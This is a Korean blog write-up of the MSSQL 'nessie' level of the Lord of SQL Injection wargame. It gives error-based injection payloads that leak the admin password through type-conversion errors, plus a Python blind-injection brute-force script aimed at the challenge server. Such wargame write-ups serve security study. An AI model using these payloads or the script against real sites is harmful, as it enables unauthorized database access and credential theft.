이번에는 mssql 환경의 문제이다. 필터링에서 'master' 문자열이 있는 것으로 보아 메타데이터를 사용할 수 없게 만들었다. 강력한 무기가 사라졌다.
그러나 코드를 약간만 더 읽다보면 첫 번째 paragraph 끝 줄에 Error Page 로 exit 시키는 코드라인이 있다.
Error-Based SQL Injection 을 수행하면 될 것 같다. 또한 solve 하기 위해서는 admin의 pw도 구해야 한다. Blind SQL Injection 도 수행해야할 것 같다. 일단 오류 페이지가 어떻게 생겼는지 보자.
Solution #1
id='
id 에 싱글쿼터(')만을 던져주었다.
Error 메세지의 상태를 보아하니 어느 부분에서 오류가 발생하였는지 아주 자세하게 알려주고 있다. 이번에는 문제의 정보를 뽑을 수 있는 다른 오류를 발생시켜 보자.
pw=' or case when len(pw)>0 then (select 1 union select 2) else 1 end--
mssql 문법상으로는 문제가 없는 것 같은데 마지막 'end' 부분에서 오류가 발생한다. 내가 전달한 query의 목적은 두 개의 column을 return 하도록 만들어서 column 개수가 맞지 않는다는 오류를 발생시키는 것이었다. 하게 end 를 지워보거나 else 구문을 삭제하는 등의 시도를 해보았지만 모두 문제풀이에 필요없는 정보들을 출력하는 오류들이었다.
mssql은 다른 SQL 언어와 달리 다른 형식의 데이터를 비교할 적에 다른 형태로 캐스팅하지 아니하고 오류를 발생시킨다고 한다. 어떻게 오류 메세지를 출력하는지 확인해보자. 앞서 했던 시도처럼 일반적인 when case 문으로는 알 수 없기 때문에 when case 문의 return 값과 정수 1을 비교하도록 하겠다.
pw=' or 1=(case when len(pw)>0 then 'a' else 1 end)--
오 드디어 원하는 결과가 등장했다. 정수인 1과 varchar 형인 'a'를 변환할 수 없다는 오류 메세지를 보여주고 있다. 그런데 잘 보면 오류 메세지에서 비교하는 대상의 값인 'a'를 적나라하게 오류메세지로 노출시키고 있다. 이것을 이용해 pw를 leak 할 수 있지 않을까.
pw=' or 1=(case when 1 then pw else 1 end)--
non-boolean type 이 있단다. MySQL 에서는 단순히 1을 Boolean 값 중에서 TRUE로 인식하는 것 같았는데 mssql 에서는 조금더 엄격하게 검사하는 것 같다. 조건문을 1=1 로 전달해 보자.
pw=' or 1=(case when 1=1 then pw else 1 end)--
'guest'라는 값이 등장했다. 테이블에 admin 계정 이외에도 guest를 PW로 가지는 계정이 있는 것 같다. 조건문의 then 부분에 id='admin' 이라는 조건을 추가해 보자.
pw=' or 1=(case when 1=1 then (select pw where id='admin') else 1 end)--
then 이후를 단순하게 pw where id='admin' 이라고 넣었더니 systax error 가 발생하였다. where 절은 select 와 무조건 함께 써야한다는 점을 깨달았다. 세심하게 공격하자. 위와 같이 성공적으로 admin의 pw가 leak 된 것을 볼 수 있다.
Solution #2
Blind SQL Injection 을 수행하여 admin 계정의 pw를 직접 구할 수 있을 것 같다. 이번에는 iif 문을 사용할 것이다. MySQL 에서는 단순하게 if 문이었던 것 같은데, mssql 에서는 iif 문을 사용하면 조건문이 TRUE일 때와 FALSE일 때의 값을 각각 return 시킬 수 있다.
mssql은 느낌이 뭔가 촘촘하다. 조건문의 return 값을 아무리 Boolean 값으로 맞추어도 Boolean 값이 아니라고 한다. 따라서 위에서 한 것처럼 정수 1과의 비교를 한 번 더 해줌으로써 Boolean 값으로 만들겠다.
pw=' or id='admin' and 1=(iif(len(pw)>10,(select 1 union select 2),1))--
성공적으로 원하는 오류 메세지를 얻었다. substring(MySQL에서는 substr) 함수도 잘 적용되는지 확인해보자.
pw=' or id='admin' and 1=(iif(substring(pw,1,1)='a',1,(select 1 union select 2)))--
조건은 모두 다 충족하였다. 바로 exploit 코드를 작성하여 Blind SQL Injection을 수행하자.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/nessie_7c5b5d8119ce2951f2a4f2b3a1824dd2.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=' or id='admin' and 1=(iif(len(pw)=" + str(i) + ",(select 1 union select 2),1))--"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "returned more than 1 value" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
# Brute Force
password = ''
for i in range(1, i + 1):
for j in range(33, 122):
payload = "?pw=' or id='admin' and 1=(iif(substring(pw," + str(i) + ",1)=" + "'" + chr(j) + "'" + ",(select 1 union select 2),1))--"
res = session.get(url = org_url + payload, headers = header, verify=False)
if "returned more than 1 value" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - incubus (0) | 2021.10.17 |
---|---|
Lord of SQL Injection - kraken (0) | 2021.10.05 |
Lord of SQL Injection - cerberus (0) | 2021.10.05 |
Lord of SQL Injection - yeti (0) | 2021.10.05 |
Lord of SQL Injection - mummy (0) | 2021.10.05 |